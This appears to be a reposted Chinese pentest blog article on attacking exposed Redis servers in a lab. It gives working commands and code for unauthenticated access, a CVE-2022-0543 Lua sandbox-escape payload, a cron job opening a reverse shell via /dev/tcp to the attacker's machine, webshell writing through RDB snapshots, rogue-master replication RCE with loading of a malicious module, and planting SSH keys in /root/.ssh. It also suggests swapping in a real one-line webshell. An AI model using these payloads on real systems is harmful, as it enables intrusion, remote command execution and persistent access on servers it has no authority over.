干货 | Reids漏洞聊到getshell手法,再到计划任务和主从复制原理

admin 2024年1月9日09:31:53评论26 views字数 7002阅读23分20秒阅读模式

本文目录

redis介绍

漏洞复现
4-unacc未授权

CVE-2022-0543沙盒逃逸命令执行
渗透手法 计划任务getshell

写webshell


主从复制RCE(或无损写入文件)

无损写文件的工具

主从复制RCE的原理

写shell和计划任务的原理(快照保存)

ssh公私钥免密登录

零-何为Redis

Redis是一个开源的内存数据库,它以键值对的方式存储数据。以下是关于 Redis 的主要特点和用途:内存存储,键值存储,持久性,数据结构支持。默认端口为6379。

壹-漏洞复现

一-4-unacc未授权

1.靶场搭建

可以用vulhub,但这次麋鹿自己搭的

wget http://download.redis.io/releases/redis-2.8.17.tar.gztar xzf redis-2.8.17.tar.gzcd redis-2.8.17makeredis-server redis.confredis-cli shutdown


2.漏洞介绍

Redis默认情况下,会绑定在0.0.0.0:6379(在redis3.2之后,redis增加了protected-mode,在这个模式下,非绑定IP或者没有配置密码访问时都会报错),如果没有进行采用相关的策略,比如添加防火墙规则避免其他非信任来源ip访问等等,这样将会将Redis服务暴露在公网上,如果在没有设置密码认证(默认为空)的情况下,会导致任意用户在可以访问目标服务器的情况下未授权访问Redis以及读取Redis的数据。

攻击者在未授权访问Redis的情况下,利用Redis自身的提供的config命令,可以进行写文件操作,攻击者还可以成功将自己的ssh公钥写入目标服务器的/root/.ssh文件的authotrized_keys 文件中,进而可以使用对应私钥直接使用ssh服务器登录目标服务器。

3.影响版本

2.x,3.x,4.x,5.x

4.复现

首先漏洞产生条件上面也提到了,再叙述一遍

(1) Redis绑定在0.0.0.0:6379,且没有进行添加防火墙规则避免其他非信任来源ip访问等相关安全策略,直接暴露在公网

(2) 没有设置密码认证(默认为空)或者弱密码,可以免密码登录redis服务

1.扫一下6379端口

干货 | Reids漏洞聊到getshell手法,再到计划任务和主从复制原理

2.判断漏洞是否存在

kali安装连接工具

wget http://download.redis.io/redis-stable.tar.gztar -zxvf redis-stable.tar.gzcd redis-stablemake

info一下

干货 | Reids漏洞聊到getshell手法,再到计划任务和主从复制原理

3.执行命令

git clone https://github.com/vulhub/redis-rogue-getshell.gitcd redis-rogue-getshell/RedisModulesSDK/expmakecd ../.././redis-master.py -r 192.168.1.10 -p 6379 -L 192.168.1.18 -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"(第一个ip为靶机,第二个为kali

干货 | Reids漏洞聊到getshell手法,再到计划任务和主从复制原理

手动也行

redis-cli -h 192.168.1.10> config set dir ./               > config set dbfilename exp.so    > slaveof 192.168.1.1 9999       > module load ./exp.so          > slaveof no one                 > system.exec 'whoami'            > config set dbfilename dump.rdb  > system.exec 'rm ./exp.so'       > module unload system

干货 | Reids漏洞聊到getshell手法,再到计划任务和主从复制原理

其实上述rec的手法为主从复制RCE,原理会在后面讲到

二-CVE-2022-0543沙盒逃逸命令执行

用的vulhub现成的

  1. 漏洞介绍

Redis 嵌入了 Lua 编程语言作为其脚本引擎,可通过eval命令在沙箱中执行Lua脚本。Debian 以及 Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

Lua 初始化的末尾添加package=nil

2.影响版本

2.2 <= redis < 5.0.132.2 <= redis < 6.0.152.2 <= redis < 6.2.5

3.复现流程

需要知道package.loadlib的路径

利用luaopen_io函数

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("whoami", "r"); local res = f:read("*a"); f:close(); return res' 0

干货 | Reids漏洞聊到getshell手法,再到计划任务和主从复制原理

叁-常见渗透手法

1.计划任务getshell

写一个每分钟的

set  xx   "n* * * * * bash -i >& /dev/tcp/192.168.1.18/9999 0>&1n"#每分钟一次config set dir /var/spool/cron/#设置目录config set dbfilename root  #快照名称为root,也就是写入/var/spool/cron/rootsave

干货 | Reids漏洞聊到getshell手法,再到计划任务和主从复制原理

一分钟就回来了

干货 | Reids漏洞聊到getshell手法,再到计划任务和主从复制原理


2.写webshell

config set dir /www/wwwroot/1.1.1.1/set php "\n\n<?php phpinfo();?>\n\n"config set dbfilename 1.phpsave

为了直观有点,写个phpinfo,读者在复现时可以换为一句话

干货 | Reids漏洞聊到getshell手法,再到计划任务和主从复制原理

访问,解析了

干货 | Reids漏洞聊到getshell手法,再到计划任务和主从复制原理


这里多说一句,redis创建的是 RDB 文件,写php这写文件时,文件内容里会出现一些版本信息,可能会无法解析,所以要加换行

可以很清晰的看到用上述方法写文件有一个缺点--会写入一些无关的垃圾数据,为了解决该问题,下面引出主从复制的手法

3.主从复制RCE(或者无损写入文件)

影响版本4.x  5.x,在unacc未授权里以及讲过手法,故不再赘述。

这里说一下Redis 主从复制原理

主服务器是 Redis 集群中的一个节点,负责接受客户端的写操作(SET、DEL 等),并将这些写操作记录到自己的数据集中。主服务器可以有多个客户端连接,并处理它们的请求。

从服务器是 Redis 集群中的节点,它通过与主服务器建立连接,订阅主服务器的操作日志(操作命令序列)。从服务器会将主服务器的操作记录在自己的数据集中,以保持与主服务器相同的数据状态。从服务器通常不接受写操作,而只允许只读查询。

主从复制的过程由以下步骤组成:

  • 设置从服务器

    SLAVEOF [master_ip] [master_port]

    比如   SLAVEOF 192.168.1.1 6379    启动主从复制过程

  • 数据同步

    从服务器连接到主服务器,与主Redis建立Socker长连接

    主Redis接收到PSYNC命令后,主服务器创建一个当前数据集的快照,并将其发送给从服务器

     发送SYNC PSYNC开始同步

    从服务器接收快照,并加载到自己的数据存储中。  比如set del命令。

  • 断开连接

整体过程其实就是加载一个so文件来实现getshell

简单点来讲,就是主节点的数据会被复制到一个或多个从节点。在这个过程中,从节点会接收并执行来自主节点的所有命令以保持数据同步。

4.写文件的工具

推荐一个工具--RedisWriteFile,

https://github.com/r35tart/RedisWriteFile.git

可以用于对Windows 平台下写无损 EXE。其原理是利用Redis的主从同步写数据,具体点来说就是,在Redis 主从复制环境中插入一个假的 Redis 服务器,并与真正的 Redis 服务器(通过 Remote 类表示)来进行命令交互(也就是写文件)。

再具体一点就是如下步骤

1.设置一个假的主服务器,让目标机器连接到主服务器

2.发送命令

3.进行写文件。这里是主服务器发送一个RDB文件给从服务器(目标机器),从服务器写入。

既然提到了该工具的原理,那就再聊聊主从复制RCE的原理

5.主从复制RCE的原理


为了让读者看的更直观,麋鹿把上面主从复制RCE的命令摘选出来解读一下原理,这里的前提是已经用py脚本把exp.so上传到目标redis了

忘了,应该还有一个前提--在Reids 4.x之后,Redis新增了模块功能,通过外部拓展(比如.so),从而在redis中实现一个新的Redis命令(比如system.exec)

redis-cli -h 192.168.1.10> config set dir ./               > config set dbfilename exp.so    > slaveof 192.168.1.1 9999       > module load ./exp.so           > slaveof no one                 > system.exec 'whoami'          > config set dbfilename dump.rdb > system.exec 'rm ./exp.so'      > module unload system

第一行redis-cli -h 192.168.1.10的意思一目了然--连接到目标redis(靶机)

第二行config set dir ./:    将 Redis 的数据目录设置为当前目录。这个设置快照(RDB 文件)的保存位置。

第三行 将redis快照名设置为exp.so。

第二行和第三行就是配置目标服务器的 RDB 文件路径和文件名,为了确保可以在后面的步骤中写入文件。

第四行就是前面提到的,创建一个ip为192.168.1.1 端口为9999的redis主服务器,并把当前实例(目标redis,ip为192.1681.10)设为从服务器。

五 加载当前目录下的exp.so,此时exp.so已经同步完了,192.168.1.10已经把主服务器的RDB文件(exp.so)自动复制过来了,也就是exp.so已经存在与从服务器了,所以是在192.168.1.10主机里加载。

六 slaveof no one 停止主从关系,将192.168.1.10恢复为独立的主服务器

七 用exp.so提供的system.exec执行whoami命令

八 config set dbfilename dump.rdb将 Redis 快照文件名重新设置为默认的 dump.rdb

九 删除exp.so

十 卸载system模块

整体再来走一遍,创建一个主服务器,让目标机器做为从服务器连接,发送slaveof命令以后,主服务器开始向从服务器发送之前主创建的数据库快照,从服务器收到快照以后将其加载到本地。

ok,那再回头聊一下之前是如何把exp.so上传到目标服务器的。

先看这条命令

./redis-master.py -r 192.168.1.10 -p 6379 -L 192.168.1.18 -P 8989 -f RedisModulesSDK/exp/exp.so -c "whoami"(第一个ip为靶机,第二个为kali

简单理解就是一个伪造数据快照的发送,实际上发送的是 exp.so 文件内容的过程,不过在讲这个过程之前,麋鹿需要先介绍一下主从之间的通讯过程。

干货 | Reids漏洞聊到getshell手法,再到计划任务和主从复制原理


从别的师傅文章里搬一张现成的图片,上图就是redis复制过程中的通讯情况。

第一步,PING

PING 是用来测试连接的命令。从服务器发送 PING 命令,期待得到 PONG 响应,以确认连接是活跃的。

第二步,REPLCONF listening-port 6379:

REPLCONF 是 Redis 用于设置复制配置的命令。这里,listening-port 6379 设置了复制过程中的监听端口为默认的 Redis 端口为6379。

第三步,REPLCONF capa eof capa psync2

其中 capa eof 和 capa psync2 分别是告诉主服务器,这个从服务器支持 eof(流结束)能力和 psync2 协议,这是 Redis 复制协议的一部分。

四,PSYNC ? -1

PSYNC命令用于同步主从服务器的数据。参数 ? -1 指示这是一个初始同步请求,从服务器请求全量数据复制。

这里又涉及到量复制和部分复制,限于本文已经有点臃肿,不再具体解释分别,字面意思理解即可。

五,退出。

ok,开始稍微分析一下传输exp.so过程

1.发送 PSYNCSYNC 命令,初始化数据同步完成

2.构造一个伪造的响应。这个响应模拟了一个从服务器在接收到同步命令时的正常响应,但是其中包含了 exp.so 文件的内容。

模拟正常的复制响应,发送一个 +FULLRESYNC 响应,后跟一个虚假的复制偏移量和一个空间。

3.指定exp.so文件大小并发送文件内容。

具体指令

self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)self.request.sendall(self.server.payload + DELIMITER)

上述指令对应功能

告诉主服务器需要进行全量数据同步,并提供一个虚假的复制偏移量。

指示 exp.so 文件的大小。

发送 exp.so 文件的内容。

伪造数据快照和发送exp,so对应代码如下,感兴趣的读者可以自行阅读。

class RoguoHandler(socketserver.BaseRequestHandler):    def handle(self):        while True:            data = self.request.recv(1024)            logging.info("receive data: %r", data)            arr = self.decode(data)            if arr[0].startswith(b'PING'):                self.request.sendall(b'+PONG' + DELIMITER)            elif arr[0].startswith(b'REPLCONF'):                self.request.sendall(b'+OK' + DELIMITER)            elif arr[0].startswith(b'PSYNC') or arr[0].startswith(b'SYNC'):                # 发送伪造的 FULLRESYNC 响应                self.request.sendall(b'+FULLRESYNC ' + b'Z' * 40 + b' 1' + DELIMITER)                # 发送 exp.so 文件大小                self.request.sendall(b'$' + str(len(self.server.payload)).encode() + DELIMITER)                # 发送 exp.so 文件内容                self.request.sendall(self.server.payload + DELIMITER)                break

self.finish()

算了,怕读者还不够清楚流程,再叨叨几句。

PING对应+PONG。

REPLCONF对应+OK,表示配置成功。

PSYNC和SYNC表示主服务器开始数据同步,对应如下流程

    发送一个伪造的 +FULLRESYNC 响应,后面跟随一个复制偏移量和一个文件空间大小。

    发送exp.so对应的大小。

    发送exp.so内容。

至此,改过程是不是了然于胸了?


6.写shell和计划任务的原理(快照保存)

写webshell的原理是redis快照保存,解读一下下面这些命令的意思

config set dir /www/wwwroot/1.1.1.1/set php "\n\n<?php phpinfo();?>\n\n"config set dbfilename 1.phpsave

第一行为设置Redis 服务器快照文件(RDB 文件)的目录为1.1.1.1

第二行是在 Redis 数据库中创建一个名为 php 的键,并将其值设置为 phpinfo

第三行是将 Redis 服务器的快照文件名设置为 1.php

也就是说前三行创建了一个数据快照,内容是phpinfo,并保存在/1.1.1.1/目录下的1.php里


7.ssh公私钥免密登录

ssh-keygen -t rsa(echo -e "nn"; cat id_rsa.pub; echo -e "nn") > 1.txtcat 1.txt | redis-cli -h redis地址 -p 6379 -x set crackit
redis-cli -h 192.168.1.10 -p 6379192.168.1.10:6379> config set dir /root/.ssh/OK192.168.1.10:6379> config get dir1) "dir"2) "/root/.ssh"192.168.1.10:6379> config set dbfilename "authorized_keys"OK192.168.1.10:6379> saveOK

干货 | Reids漏洞聊到getshell手法,再到计划任务和主从复制原理

干货 | Reids漏洞聊到getshell手法,再到计划任务和主从复制原理

干货 | Reids漏洞聊到getshell手法,再到计划任务和主从复制原理

翻到文章最底部点击“阅读原文”下载链接


原文始发于微信公众号(渗透安全团队):干货 | Reids漏洞聊到getshell手法,再到计划任务和主从复制原理

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年1月9日09:31:53
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   干货 | Reids漏洞聊到getshell手法,再到计划任务和主从复制原理http://cn-sec.com/archives/2376600.html

发表评论

匿名网友 填写信息